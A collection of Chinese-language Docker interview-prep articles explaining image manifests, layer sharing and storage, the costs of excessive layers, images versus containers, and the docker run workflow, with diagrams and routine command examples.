问:OCI Manifest 和 Docker Manifest 有什么不同?

答:OCI 标准定义了 application/vnd.oci.image.manifest.v1+json,结构类似但有一些字段差异。Docker 已基本兼容 OCI 标准。

总结

概念 作用 类比
Manifest 描述单个镜像的层结构和配置 目录清单
Manifest List 聚合多个架构的 Manifest 索引卡片
Config 镜像运行时配置(CMD, env 等) 使用说明书
Layer 实际的镜像内容 货架上的货物

一句话总结:Manifest 是 docker 镜像的”目录文件”,Registry 通过它知道镜像由哪些层组成,Docker Client 通过它知道要下载哪些内容。


不同 Dockerfile 之间能共享层吗?

不同 Dockerfile 之间能共享层吗?

核心答案

能,而且这是 Docker 分层设计的一大亮点。 不同 Dockerfile 构建出的镜像,如果使用了相同的基础层,Docker 会在物理存储上只保存一份

共享层的实现原理

Docker 的层共享基于内容寻址存储——每一层都通过其内容的 SHA256 哈希值来标识。只要两层的内容完全相同(同样的父层 + 同样的指令 + 同样的上下文),它们的哈希值就一样,Docker 就认定它们是同一层,只存一份。

graph TB
    subgraph 镜像A的Dockerfile
        A[FROM ubuntu:22.04]
        B[RUN apt-get update && apt-get install -y python3]
        C[COPY ./app_a/ /app]
    end

    subgraph 镜像B的Dockerfile
        D[FROM ubuntu:22.04]
        E[RUN apt-get update && apt-get install -y python3]
        F[COPY ./app_b/ /app]
    end

    subgraph 物理存储
        SHARED[ubuntu:22.04 基础层  共享]
        SHARED2[python3 安装层  共享]
        A_LAYER[镜像A的应用层]
        B_LAYER[镜像B的应用层]
    end

    A & D --> SHARED
    B & E --> SHARED2
    C --> A_LAYER
    F --> B_LAYER

共享的条件

层共享不是自动的,需要满足以下条件:

条件一:基础镜像必须完全一致

# ✅ 可以共享
FROM ubuntu:22.04          # 同一个 tag
FROM ubuntu:22.04          # 同一个 tag

# ❌ 不能共享
FROM ubuntu:22.04
FROM ubuntu:20.04          # 不同版本,层不同

# ⚠️ 即使 tag 相同,也要看指向的镜像哈希
# ubuntu:22.04 可能在 registry 上更新了
# 拉取时间不同可能指向不同的实际镜像

条件二:指令序列和上下文必须一致

# ✅ 这两条 RUN 指令结果相同,可以共享
RUN apt-get update && apt-get install -y python3
RUN apt-get update && apt-get install -y python3

# ❌ 即使效果一样,中间步骤不同,不能共享
RUN apt-get update && apt-get install -y python3
RUN apt-get update && \
    apt-get install -y python3 && \
    apt-get clean     # 多了一步清理,层不同

实际场景中的共享效果

场景一:同一个 CI/CD 管道中的多个服务

# 项目结构
microservices/
├── service-a/Dockerfile    # FROM python:3.11-slim
├── service-b/Dockerfile    # FROM python:3.11-slim
├── service-c/Dockerfile    # FROM node:18-alpine
└── service-d/Dockerfile    # FROM node:18-alpine
graph LR
    subgraph 首次构建所有服务
        A[service-a<br/>0构建<br/>下载python:3.11-slim]
        B[service-b<br/>0构建<br/>共享已下载的python:3.11-slim]
        C[service-c<br/>0构建<br/>下载node:18-alpine]
        D[service-d<br/>0构建<br/>共享node:18-alpine]
    end

    subgraph 磁盘占用
        DISK[实际磁盘占用: python:3.11-slim x 1<br/>+ node:18-alpine x 1<br/>+ 4个应用层各1<br/> 240MB]
        NOSHARE[如果不共享: python:3.11-slim x 2<br/>+ node:18-alpine x 2<br/> 680MB]
    end

节省约 65% 的磁盘空间。

场景二:多阶段构建中的中间镜像

FROM golang:1.20 AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN go build -o myapp

FROM alpine:latest
COPY --from=builder /app/myapp /myapp
CMD ["/myapp"]

注意:多阶段构建中,前面阶段的镜像层默认不会保留在最终镜像中,但如果被其他镜像引用,Docker 不会删除这些层。

不能共享的情况

1. 不同的基础镜像系列

# ubuntu 和 debian 看起来很像,但层哈希完全不同
FROM ubuntu:22.04
FROM debian:bookworm

2. 不同的架构

# ARM64 和 AMD64 的层不能共享
docker build --platform linux/amd64 -t app:amd64 .
docker build --platform linux/arm64 -t app:arm64 .

虽然 FROM 指向同一个 tag,但实际下载的是不同架构的层,哈希不同。

3. 不同的构建上下文

即使 Dockerfile 内容完全一样,如果 COPY/ADD 复制的文件内容不同,那层的哈希也不同。

# 两个 Dockerfile 一模一样
COPY config.yaml /etc/config/

# 但如果 config.yaml 内容不同 → 层哈希不同 → 不能共享

如何查看层的共享情况

# 查看镜像的层信息,注意相同哈希的层
docker inspect app-a:latest | jq '.[0].RootFS.Layers'
docker inspect app-b:latest | jq '.[0].RootFS.Layers'

# 输出示例
# [
#   "sha256:abc123...",  ← 相同的哈希 = 共享层
#   "sha256:def456...",  ← 相同的哈希 = 共享层
#   "sha256:ghi789..."   ← 不同的哈希 = 各存各的
# ]

# 查看磁盘空间占用
docker system df
# 会显示镜像的实际使用量(已去重)和总使用量

面试追问

问:如何最大化层共享?

答:统一基础镜像版本、锁 pin 版本号而非使用 latest、将公共依赖安装步骤标准化为相同的 Dockerfile 指令序列。

问:Registry 上的层如何共享?

答:Registry 也通过内容寻址存储层。当 push 镜像时,如果某层的哈希已在 Registry 上存在,就不会重复上传。这也是为什么多个镜像共享基础层时,push 只需几秒。

总结

条件 能否共享 原因
同基础镜像 + 同指令 ✅ 共享 内容哈希相同
同基础镜像 + 不同指令 ❌ 不共享 内容不同
不同基础镜像 ❌ 不共享 父层不同,子层哈希链不同
不同架构 ❌ 不共享 二进制文件内容不同

一句话总结:Docker 层的共享规则很简单——内容相同就共享。这要求我们在编写 Dockerfile 时尽量保持公共基础层的一致性。


Docker 镜像层过多带来的问题

Docker 镜像层过多带来的问题

层多的坏处

虽然 Docker 的分层存储有很多好处,但层数过多也会带来一系列问题。简单来说:层太多 → 镜像大 + 构建慢 + 运行时慢

层数过多的四大问题

graph TB
    subgraph 层数过多的后果
        OVERLAY[过多镜像层 50+]

        OVERLAY --> SIZE[镜像体积膨胀<br/>每层只是文件差异,但合起来就大了]
        OVERLAY --> BUILD[构建速度下降<br/>缓存检查耗时增加]
        OVERLAY --> PUSH_PULL[推拉时间变长<br/>HTTP 请求数增多]
        OVERLAY --> OVERHEAD[运行时性能下降<br/>文件查找需遍历更多层]
    end

问题一:镜像体积膨胀

每一层都会保存文件的”快照差异”,即使后一层删除了文件,前一层仍然占用空间:

# ❌ 糟糕的 Dockerfile — 体积膨胀
FROM ubuntu

# 层1: 下载并解压大文件(200MB)
RUN wget https://example.com/bigfile.tar.gz && tar -xzf bigfile.tar.gz

# 层2: 删除压缩包(这只是标记删除,层1仍然占用200MB)
RUN rm bigfile.tar.gz
graph LR
    subgraph 1: 添加大文件
        L1[1 200MB<br/>bigfile.tar.gz ]
    end
    subgraph 2: 删除标记
        L2[2<br/>whiteout 文件<br/>仅几字节]
    end
    subgraph 最终镜像
        MERGED[最终镜像中文件"消失"<br/> 200MB 还在层1中!]
    end

    L1 --> L2 --> MERGED

最终镜像大小:200MB + KB级别 = 约200MB,实际上需要的文件只有几十 MB。

问题二:构建速度变慢

层的缓存机制是”全部或 nothing“——只要某层的内容发生了变化,该层及之后所有层的缓存都会失效:

FROM node:18

# 层1: 依赖安装(很少变化)
COPY package.json package-lock.json ./
RUN npm ci                    # 层2: 安装依赖

# 层3: 复制代码(经常变化)
COPY src/ ./src/

# 状态:层3的 COPY src/ 每次代码变化都会使层3重建
# 但层1和层2缓存命中,所以影响不大

# 但如果反过来:
COPY src/ ./src/              # 层1: 经常变
COPY package.json ./          # 层2: 缓存会失效!因为层1变了
RUN npm ci                    # 层3: 也缓存失效,需要重装所有依赖

层数越多,缓存系统的决策路径越长,而且由于 DAG 的依赖性,长链路上的任何一个节点变化都会导致后续全部缓存失效。

问题三:推拉时间增加

# 每次推送和拉取时,每一层都是一个 HTTP 请求
# 层数越多,请求次数越多

# 50层的镜像 → 50次请求
# 10层的镜像 → 10次请求

# 网络延迟累积效应:
# 单次请求额外延迟: 20ms
# 50层 × 20ms = 1s 额外握手时间
# 还不算 TLS 重新协商的开销

问题四:运行时性能下降

OverlayFS 查找文件需要从 Upper 层向下遍历:

graph TB
    subgraph 文件查找路径
        FILE[读取 /usr/bin/python3]
        CHECK1[检查层5 Upper<br/>没有这个文件]
        CHECK2[检查层4<br/>没有这个文件]
        CHECK3[检查层3<br/>没有这个文件]
        CHECK4[检查层2<br/>没有这个文件]
        CHECK5[检查层1<br/>找到了!]
    end

    FILE --> CHECK1 --> CHECK2 --> CHECK3 --> CHECK4 --> CHECK5

每多一层,文件查找就需要多一次检查。 虽然目录缓存(dcache)能优化重复查找,但大量 I/O 操作时影响显著。

实际测试数据

# 模拟分层对比
# 测试环境: 同样的最终内容,不同分层策略

# 方案A: 多分层(10层)
docker build -f Dockerfile.multi-layer -t app:many .

# 方案B: 合并层(3层)
docker build -f Dockerfile.single -t app:few .

# 结果对比
# 镜像大小: 方案A 652MB > 方案B 584MB
# 构建时间: 方案A 63s > 方案B 41s
# 容器启动时间: 方案A 1.2s > 方案B 0.9s

最佳实践:如何控制层数

1. 合并 RUN 命令

# ❌ 坏的做法 — 每个操作独立成层
RUN apt-get update
RUN apt-get install -y curl
RUN apt-get install -y nginx
RUN apt-get clean
RUN rm -rf /var/lib/apt/lists/*

# ✅ 好的做法 — 合并到一个 RUN 中
RUN apt-get update && \
    apt-get install -y curl nginx && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

2. 使用多阶段构建

# ✅ 多阶段构建 — 最终只保留需要的层
# 构建阶段(可能很多层)
FROM golang:1.20 AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 go build -o myapp

# 运行阶段(只有基础镜像 + 一个 COPY 层)
FROM alpine:latest
RUN apk add --no-cache ca-certificates
COPY --from=builder /app/myapp /myapp
CMD ["/myapp"]

3. 使用 –squash 合并层

# 实验性功能:将整个镜像合并成一层
docker build --squash -t myapp .

4. 合理的层数建议

环境 建议层数 说明
开发环境 不限 优先构建速度
CI/CD ≤ 30 层 兼顾缓存和效率
生产镜像 ≤ 20 层 优先运行时性能
基础镜像 ≤ 10 层 最严格的优化

总结

层数不是越少越好,也不是越多越好,而是在合理范围内控制

层数过多的问题 原因 解决方案
体积膨胀 删除操作不移除下层数据 合并操作到同一层
构建变慢 缓存链路过长 合理安排指令顺序
推拉变慢 每层一个 HTTP 请求 合并层,减少总层数
运行时慢 文件查找需要遍历各层 使用多阶段构建精简最终层

一句话总结:写 Dockerfile 时要”心里有层”——每写一个 RUN、COPY、ADD,都在问自己:”这一层有必要单独成层吗?”


Docker 镜像层存储在磁盘的什么位置?

Docker 镜像层存储在磁盘的什么位置?

一句话回答

Docker 镜像层存储在宿主机的 /var/lib/docker/ 目录下,具体存储驱动不同,位置结构也不同。使用 overlay2 驱动时,镜像层存储在 /var/lib/docker/overlay2/ 中。

存储位置总览

graph TB
    subgraph /var/lib/docker/
        CONT[/var/lib/docker/]
        CONT --> OVERLAY[overlay2/<br/>镜像层和容器层数据]
        CONT --> IMAGE[image/<br/>镜像元数据]
        CONT --> VOLUME[volumes/<br/>数据卷]
        CONT --> NETWORK[network/<br/>网络配置]
        CONT --> CONTAINERS[containers/<br/>容器配置和日志]
        CONT --> BUILD[buildkit/<br/>构建缓存]
    end

    OVERLAY --> LAYER1[abc123.../<br/>镜像层 1]
    OVERLAY --> LAYER2[def456.../<br/>镜像层 2]
    OVERLAY --> CONTAINER_LAYER[xyz789.../<br/>容器可写层]
    OVERLAY --> SHORT_LINKS[l/<br/>短链接目录]

各目录详解

1. overlay2/ — 镜像和容器层数据

这是最大的目录,存储了所有镜像层和容器层的实际文件内容。

# 查看 overlay2 目录结构
ls -la /var/lib/docker/overlay2/
# drwx--x---  4 root root  4096 ...  abcdef123456...  ← 镜像层的目录
# drwx--x---  4 root root  4096 ...  xyz789012345...  ← 容器层的目录
# drwx--x---  2 root root 65536 ...  l/                ← 短链接目录

# 查看某个镜像层的内部结构
ls -la /var/lib/docker/overlay2/abcdef123456.../
# drwxr-xr-x   root root  ...  diff/     ← 该层实际的文件变更
# -rw-r--r--   root root  ...  link      ← 短链接名称
# -rw-r--r--   root root  ...  lower     ← 下层的短链接列表

# diff/ 就是该层引入的所有文件
ls /var/lib/docker/overlay2/abcdef123456.../diff/
# etc/  usr/  ...

2. image/ — 镜像元数据

# 镜像元数据存储结构
tree /var/lib/docker/image/overlay2/ -L 2
# /var/lib/docker/image/overlay2/
# ├── distribution/    ← 镜像分发信息(远程仓库的摘要)
# ├── imagedb/         ← 镜像配置数据
# │   ├── content/     ← sha256 目录,以 digest 命名
# │   └── metadata/    ← 镜像标签信息
# ├── layerdb/         ← 层数据库
# │   ├── sha256/      ← 层的 ChainID
# │   └── tmp/         ← 临时文件
# └── repositories.json  ← 镜像仓库和标签映射
# 查看镜像配置(包含了镜像的所有层信息)
cat /var/lib/docker/image/overlay2/imagedb/content/sha256/abcdef1234...

# repositories.json — 镜像标签映射
cat /var/lib/docker/image/overlay2/repositories.json
# {
#   "nginx": {
#     "latest": "sha256:abc123...",
#     "1.25": "sha256:def456..."
#   }
# }

3. volumes/ — 数据卷

ls /var/lib/docker/volumes/
# myvolume/  ← 命名的数据卷
# 8a9b0c1d.../  ← 匿名数据卷

4. containers/ — 容器配置

ls /var/lib/docker/containers/
# abc123def456.../  ← 每个容器一个目录

ls /var/lib/docker/containers/abc123.../
# config.v2.json    ← 容器配置
# hostconfig.json   ← 主机配置
# resolv.conf       ← DNS 配置
# hostname          ← 容器主机名
# hosts             ← /etc/hosts
# *.log             ← 容器日志

通过命令查看层的位置

# 查看镜像的层信息
docker image inspect nginx:latest | jq '.[].RootFS'
# {
#   "Type": "layers",
#   "Layers": [
#     "sha256:a1b2c3...",   ← 每层的 Content Hash
#     "sha256:d4e5f6...",
#     ...
#   ]
# }

# 查看容器的存储驱动详情
docker inspect mycontainer | jq '.[].GraphDriver'
# {
#   "Name": "overlay2",
#   "Data": {
#     "LowerDir": "/var/lib/docker/overlay2/.../diff:/var/lib/docker/overlay2/.../diff:...",
#     "MergedDir": "/var/lib/docker/overlay2/.../merged",
#     "UpperDir": "/var/lib/docker/overlay2/.../diff",
#     "WorkDir": "/var/lib/docker/overlay2/.../work"
#   }
# }

磁盘使用情况

# 查看 Docker 磁盘使用情况
docker system df
# TYPE                TOTAL     ACTIVE    SIZE      RECLAIMABLE
# Images              3         1         1.5GB     1.2GB (80%)
# Containers          2         1         100MB     50MB (50%)
# Local Volumes       2         0         500MB     500MB (100%)
# Build Cache         8         0         2.1GB     2.1GB (100%)

# 查看各层大小
docker system df -v
# IMAGES SPACE USED:
# REPOSITORY          TAG       IMAGE ID     CREATED       SIZE
# nginx               latest    abc123...    2 weeks ago   187MB
# ubuntu              22.04     def456...    1 month ago   77MB

# 查看详细磁盘分布
du -sh /var/lib/docker/*/ | sort -rh
# 2.1G    /var/lib/docker/overlay2/
# 1.5G    /var/lib/docker/buildkit/
# 500M    /var/lib/docker/volumes/
# 200M    /var/lib/docker/image/
# 50M     /var/lib/docker/containers/

清理和空间管理

# 清理未使用的镜像、容器、数据卷
docker system prune -a --volumes

# 只清理构建缓存(通常占用很大空间)
docker builder prune -a

# 查看具体哪些层占用空间
ls -lh /var/lib/docker/overlay2/
# 通过 du 定位大文件
du -sh /var/lib/docker/overlay2/*/diff

面试追问

Q: /var/lib/docker 目录可以迁移到其他磁盘吗?

A:完全可以。生产环境中通常会将 Docker 的数据目录放到单独的磁盘或 SSD 上,主要有两种方式:

# 方式一:修改 daemon.json
{
    "data-root": "/data/docker"
}

# 方式二:使用软链接
systemctl stop docker
mv /var/lib/docker /data/docker
ln -s /data/docker /var/lib/docker
systemctl start docker

Q: 镜像层存储的位置和大小与容器层有什么区别?

A:镜像层存储在 overlay2 下的独立目录,每层只读共享;容器层额外多一个 UpperDir(可写层),并且容器层在容器删除后可以被清理回收。

总结

Docker 镜像和容器的数据存储是分层且结构化的
overlay2/:存储各层的实际文件变更
image/:存储镜像配置和层元数据
containers/:存储容器运行时配置

理解这些存储位置,可以帮助你更好地管理 Docker 磁盘空间,以及排查存储相关问题。


Docker 镜像为什么采用分层存储?

Docker 镜像为什么采用分层存储?

核心答案

Docker 镜像采用分层存储的核心原因只有三个字:效率。具体来说是:存储效率传输效率构建效率

分层存储示意图

graph TB
    subgraph 分层镜像结构
        L0[基础层<br/>Ubuntu / Alpine 20MB]
        L1[安装 Python 3.11<br/>100MB]
        L2[安装 pip 依赖<br/>50MB]
        L3[复制应用代码<br/>2MB]
        L4[配置 Nginx<br/>1KB]
    end

    L0 --> L1 --> L2 --> L3 --> L4

三大核心优势

优势一:存储效率 — 相同的层只存一次

假设你有 10 个 Python 应用,每个的 Dockerfile 都是基于 python:3.11-slim

# 应用 A
FROM python:3.11-slim
COPY app_a/ /app
CMD ["python", "app_a.py"]

# 应用 B
FROM python:3.11-slim
COPY app_b/ /app
CMD ["python", "app_b.py"]
graph LR
    subgraph 物理存储
        PY[python:3.11-slim<br/>120MB x 1 ]
        A[应用 A <br/>1KB]
        B[应用 B <br/>1KB]
    end

    subgraph 逻辑视图
        IMG_A[应用 A 镜像<br/>逻辑大小: 120MB + 1KB]
        IMG_B[应用 B 镜像<br/>逻辑大小: 120MB + 1KB]
    end

    PY -->|共享| IMG_A
    PY -->|共享| IMG_B
    A --> IMG_A
    B --> IMG_B

不使用分层:120MB x 2 = 240MB
使用分层:120MB(共享)+ 1KB + 1KB ≈ 120MB

如果有 100 个 Python 应用,差距就是 12GB vs 120MB,相差 100 倍!

优势二:传输效率 — 只下载变化的部分

# 第一次拉取
docker pull node:18
# Downloading 5 layers  142MB

# 版本升级到 node:18.1(只变了上层)
docker pull node:18.1
# Downloading 1 layer   ← 只下载变化的层!
# 已缓存 4 层

这对 CI/CD 场景至关重要:
– 每次代码提交只产生几十 KB 的新层
– 部署更新时只需要下载那几十 KB
– 而不是重新下载整个镜像

优势三:构建效率 — 缓存机制

# 利用分层缓存加速构建
FROM python:3.11-slim AS builder

# 这一层变更频率最低 → 放在前面
COPY requirements.txt .
RUN pip install -r requirements.txt

# 这一层变更最频繁 → 放在后面
COPY . .
graph LR
    subgraph 第二次构建
        BC[缓存命中]
        NC[未命中-需重建]

        L0[FROM python:3.11-slim] -->|缓存命中 | BC
        L0 --> L1[COPY requirements.txt]
        L1 -->|缓存命中 | BC
        L1 --> L2[RUN pip install]
        L2 -->|文件没变  缓存命中| BC
        L2 --> L3[COPY . . ]
        L3 -->|代码变了  重建| NC
        L3 --> L4[构建完成]
    end

典型的构建速度对比:

第一次构建: docker build .  120 秒(全部从头构建)
修改一行代码后: docker build .  2 秒(只有最后一层重建)

分层存储的物理实现

# Docker 镜像层存储在 /var/lib/docker/
# 实际的物理存储结构
/var/lib/docker/overlay2/
├── 7a8b9c0d1e2f.../    # 每层一个目录   ├── diff/            # 该层的文件变化   ├── link             # 链接文件   └── lower            # 下层引用
├── a1b2c3d4e5f6.../
│   ├── diff/
│   ├── link
│   └── lower
└── ...

分层存储的”坑”

虽然好处很多,但分层存储也有需要注意的地方:

# ❌ 不好的分层实践
FROM ubuntu
RUN apt-get update   # 这一层产生了几百 MB 的包缓存数据
RUN apt-get install -y python3 nginx  # 这一层又安装
# 分层会导致 apt 缓存文件也被持久化,无意义地增大镜像

# ✅ 好的分层实践(合并 RUN)
FROM ubuntu
RUN apt-get update && \
    apt-get install -y python3 nginx && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*
# 只产生一层,且清除了无用的缓存

# ❌ 注意:每层中删除的文件不会减少镜像总大小
# 删除操作是在新层中标记删除,但旧层文件中依然存在

面试追问

问:如果我不需要分层了,可以合并层吗?

答:可以。生产环境中经常使用 docker-squash 工具或多阶段构建的最后一阶段来合并层,以减少镜像层数。但在构建过程中维护分层是有利的。

问:分层的最大层数有限制吗?

答:OverlayFS 最多支持 128 层(实际建议控制在 50 层以内,否则性能会下降)。

总结

Docker 分层存储的智慧在于:用共享代替冗余。基础环境只存一份,所有依赖它的镜像共享。这样既节省了磁盘空间,又节省了网络带宽,还加速了构建过程。可谓一石三鸟。


Docker 镜像与容器的本质区别

Docker 镜像与容器的本质区别

一句话定义

  • 镜像(Image):一个只读的模板,包含了运行应用所需的文件系统、依赖库和环境配置
  • 容器(Container):镜像的运行实例,在镜像层之上增加了一个可写层,形成一个活的运行环境

关系图

graph TB
    subgraph 构建时
        DF[Dockerfile] -->|docker build| Image[镜像 Image]
    end

    subgraph 运行时
        Image -->|docker run| C1[容器 Container 1]
        Image -->|docker run| C2[容器 Container 2]
        Image -->|docker run| C3[容器 Container 3]
    end

    subgraph 差异
        C1 -->|可写层| RW1[容器层: 可读写
存放运行时修改
] Image -->|只读层| RO[镜像层: 只读
存放基础环境
] end

详细对比表

特性 镜像 (Image) 容器 (Container)
状态 静态文件 动态进程
读写性 只读 可读写(顶层可写层)
生命周期 长期存储 短暂、临时
层结构 多层只读层堆叠 镜像只读层 + 容器可写层
存储位置 本地镜像仓库 运行中在内存/磁盘
标识 image_id container_id
启动速度 构建较慢 秒级启动
依赖关系 容器依赖镜像存在 镜像不依赖容器

类比理解

graph LR
    subgraph 编程类比
        A[镜像 Image] -->|| B[ Class]
        C[容器 Container] -->|| D[实例 Instance]
    end

    subgraph 现实类比
        E[镜像 Image] -->|| F[ISO 光盘镜像]
        G[容器 Container] -->|| H[正在运行的程序]
    end

利用面向对象理解

类(Class)    →   镜像(Image)    →   定义行为和数据结构
实例(Object) →   容器(Container) →   运行态,有独立状态

一个镜像可以创建多个容器,就像 Person 类可以实例化出多个不同的人。

Docker 命令验证

# 查看本地镜像列表(静态文件)
docker images
# REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
# nginx        latest    abc123456789   2 weeks ago   142MB
# ubuntu       latest    def987654321   3 weeks ago   78MB

# 查看运行中的容器(动态实例)
docker ps
# CONTAINER ID   IMAGE   COMMAND   STATUS   PORTS   NAMES
# xyz789        nginx    ...       Up 2h    80/tcp  mynginx

# 查看所有容器(包括已停止的)
docker ps -a

文件系统差异

# 查看镜像层
docker inspect nginx:latest | jq '.[].RootFS'

# 查看容器文件系统
docker inspect mynginx | jq '.[].GraphDriver'

# 输出示例:
# {
#   "Name": "overlay2",
#   "Data": {
#     "LowerDir": "/var/lib/docker/overlay2/xxx/diff:...",
#     "UpperDir": "/var/lib/docker/overlay2/yyy/diff",
#     "WorkDir": "/var/lib/docker/overlay2/yyy/work",
#     "MergedDir": "/var/lib/docker/overlay2/yyy/merged"
#   }
# }
  • LowerDir:镜像的只读层(用冒号分隔多个层)
  • UpperDir:容器的可写层
  • MergedDir:合并后的视图(容器看到的文件系统)

操作对比

# 镜像操作 — 不可变
docker build -t myapp .    # 构建镜像
docker tag myapp myapp:v2  # 标记版本
docker push myapp:v2       # 推送镜像

# 容器操作 — 可变状态
docker run -d myapp        # 创建并运行容器
docker stop mycontainer    # 停止容器
docker rm mycontainer      # 删除容器
docker exec -it mycontainer bash  # 进入容器修改

# 修改容器后再生成新镜像
docker commit mycontainer myapp:v3  # 将容器状态保存为新镜像

面试高频题

问:为什么说容器比镜像多了一层?

答:Docker 使用联合文件系统(UnionFS),镜像由多层只读文件系统堆叠而成。当容器运行时,Docker 在最顶层添加一个可读写层(容器层)。所有对容器文件系统的修改都写在此层,容器删除时该层也随之消失。

问:容器停止后,数据还在吗?

答:取决于数据存储位置:
– 写入容器可写层的数据 ❌ (容器删除后丢失)
– 写入挂载卷(Volume)的数据 ✅ (独立于容器生命周期)

总结

镜像和容器的关系,本质上是 “模板与实例” 的关系。镜像定义”能跑什么”(环境、依赖、配置),容器决定”跑得怎么样”(运行状态、实时数据)。理解这个区别,是深入 Docker 的第一道门槛。


docker run 的执行流程详解

docker run 的执行流程详解

一句话概括

执行 docker run 时,Docker 会依次进行镜像检查 → 镜像拉取 → 创建容器 → 分配文件系统 → 配置网络 → 启动进程 六个关键步骤。

完整流程图

graph TB
    A[输入: docker run -d -p 80:80 nginx] --> B{Docker Client}
    B -->|通过 REST API 发送请求| C[Docker Daemon]

    C --> D{本地是否已缓存镜像?}

    D -->|| E[直接使用本地镜像]
    D -->|| F[ Registry 拉取镜像]

    F --> G{Docker Hub / 私有仓库}
    G -->|认证| H[下载镜像层数据]
    H --> I[解压存储到本地]

    E --> J[创建容器可写层]

    J --> K[配置网络]
    K --> K1[创建 Network Namespace]
    K1 --> K2[分配 IP 地址]
    K2 --> K3[设置端口映射 -p 80:80]

    K3 --> L[挂载存储]
    L --> L1[挂载 OverlayFS]
    L1 --> L2[挂载数据卷 (如果有)]

    L2 --> M[设置 cgroups 资源限制]

    M --> N[创建进程并切换到容器环境]
    N --> N1[进入容器的 PID Namespace]
    N1 --> N2[运行 ENTRYPOINT / CMD]

    N2 --> O[容器运行]

    O --> P[输出容器 ID: abc123...]

分步详解

第一步:Docker Client 解析命令

docker run -d --name mynginx -p 8080:80 nginx:latest

Client 解析:
run → 运行容器
-d → 后台运行(detach)
--name mynginx → 容器命名
-p 8080:80 → 端口映射(宿主机8080 → 容器80)
nginx:latest → 镜像名称和标签

第二步:Daemon 检查镜像

# Daemon 在本地镜像仓库中搜索
# 检查位置: /var/lib/docker/image/overlay2/repositories.json
docker images  # 查看本地所有镜像

如果本地没有镜像,Daemon 会自动执行 docker pull 流程。

第三步:拉取镜像(如需要)

# 默认从 Docker Hub 拉取
docker pull nginx:latest

# 实际执行的分层下载过程
# Downloading  [======================>]  5/5 layers
# 每一层都是一个独立的 tar.gz 包

第四步:创建容器层

graph LR
    subgraph 容器文件系统
        L0[镜像层1: 基础 OS]
        L1[镜像层2: 修改 apt sources]
        L2[镜像层3: 安装 nginx]
        L3[镜像层4: 修改配置]
        L4[镜像层5: 设置 Entrypoint]
        RW[容器读写层<br/>可写层 / 容器层]
    end

    L0 --> L1 --> L2 --> L3 --> L4 --> RW
    RW -.->|容器停止后<br/>默认删除| T[丢弃]

第五步:网络配置

# Docker 内部创建 veth pair
# 一头在容器内(eth0),一头在宿主机(vethXXX)

# 默认使用 bridge 网络模式
docker network ls
# NETWORK ID   NAME      DRIVER
# xxxx         bridge    bridge
# xxxx         host      host
# xxxx         none      null

第六步:启动进程

# 容器内执行的进程由 Dockerfile 决定
FROM nginx:alpine
# ENTRYPOINT 或 CMD 指定的命令就是容器的 PID 1
# 当 PID 1 退出时,容器随之停止

常用 run 命令变体

# 交互式运行(进入容器 shell)
docker run -it ubuntu bash

# 后台运行 + 端口映射
docker run -d -p 80:80 nginx

# 挂载数据卷
docker run -v /host/data:/container/data nginx

# 指定资源限制
docker run --memory="512m" --cpus="2" nginx

# 使用不同的网络模式
docker run --network=host nginx

面试追问

问:如果 docker run 时指定了不存在的命令会怎样?

答:Daemon 会创建容器,尝试执行命令,命令失败后容器立即退出(状态码非 0)。docker ps -a 可以看到容器处于 Exited 状态。

问:docker run 和 docker start 有什么区别?

答:docker run = docker create + docker start,即创建并启动一个新容器;docker start 启动一个已存在的停止状态的容器。

总结

docker run 看似只是一个简单命令,背后却涉及了镜像管理、文件系统、网络配置、进程管理等 Docker 核心机制。理解它的执行流程,就掌握了 Docker 运行时的基本工作原理。


Docker 是什么?为什么需要 Docker?

Docker 是什么?为什么需要 Docker?

什么是 Docker?

Docker 是一个开源的容器化平台,它允许开发者将应用程序及其所有依赖项打包到一个轻量级、可移植的”容器”中,然后可以在任何安装了 Docker 的环境中运行。Docker 使用客户端-服务器架构,通过守护进程(dockerd)管理容器的生命周期。

graph LR
    A[开发者] --> B[编写代码]
    B --> C[Dockerfile]
    C --> D[构建镜像]
    D --> E[Docker镜像]
    E --> F[Docker容器 开发环境]
    E --> G[Docker容器 测试环境]
    E --> H[Docker容器 生产环境]

    style F fill:#e1f5fe
    style G fill:#e1f5fe
    style H fill:#e1f5fe

Docker 的核心价值

Docker 的核心思想是 “Build once, run anywhere”(构建一次,随处运行)。这句话不是空话,而是 Docker 解决的最根本问题。

问题 Docker 的解决方案
环境不一致 容器自带完整的运行环境
依赖冲突 每个容器独立隔离,互不干扰
部署复杂 一键启动,秒级上线
资源浪费 共享宿主机内核,轻量高效

为什么需要 Docker?

1. 解决”在我机器上能跑”的世纪难题

传统开发中,最常遇到的问题就是:开发环境一切正常,到了测试或生产环境就崩溃。原因可能是:
– 操作系统版本不同
– 缺少某个系统库
– 依赖包版本不一致
– 环境变量配置差异

Docker 通过将应用 + 依赖 + 配置全部打包进一个镜像,确保在任何环境中行为完全一致。

2. 高效的资源利用

graph TB
    subgraph 传统虚拟机
        V1[VM1: 应用A<br/>OS Guest + Bin/Libs<br/>4GB RAM]
        V2[VM2: 应用B<br/>OS Guest + Bin/Libs<br/>4GB RAM]
        Hypervisor[Hypervisor]
        Host[宿主机 OS]
    end

    subgraph Docker 容器
        C1[容器A: 应用A<br/>Bin/Libs<br/>200MB]
        C2[容器B: 应用B<br/>Bin/Libs<br/>200MB]
        DockerEngine[Docker Engine]
        HostOS[宿主机 OS]
    end

    Host --> Hypervisor --> V1 & V2
    HostOS --> DockerEngine --> C1 & C2

3. 快速部署和弹性伸缩

  • 启动时间:容器秒级启动,虚拟机分钟级
  • 扩展能力:配合 Kubernetes 可在数秒内从 1 个实例扩展到 100 个
  • 滚动更新:零停机更新应用版本

4. CI/CD 流程的基石

# 典型的 Docker CI/CD 流程
# 1. 构建镜像
docker build -t myapp:latest .

# 2. 运行测试
docker run myapp:latest npm test

# 3. 推送到仓库
docker push registry.example.com/myapp:latest

# 4. 部署到生产
docker pull registry.example.com/myapp:latest
docker run -d -p 80:80 myapp:latest

5. 微服务架构的理想载体

每个微服务可以独立构建镜像、独立部署、独立扩缩容,Docker 容器天然就是微服务的理想运行单元。

总结

Docker 不仅仅是”一个容器引擎”,它改变了软件的交付方式。在 Docker 出现之前,我们交付的是”代码”;Docker 出现之后,我们交付的是”完整的运行环境”。这就是为什么 Docker 已经成为 DevOps 和云原生时代的基础设施。


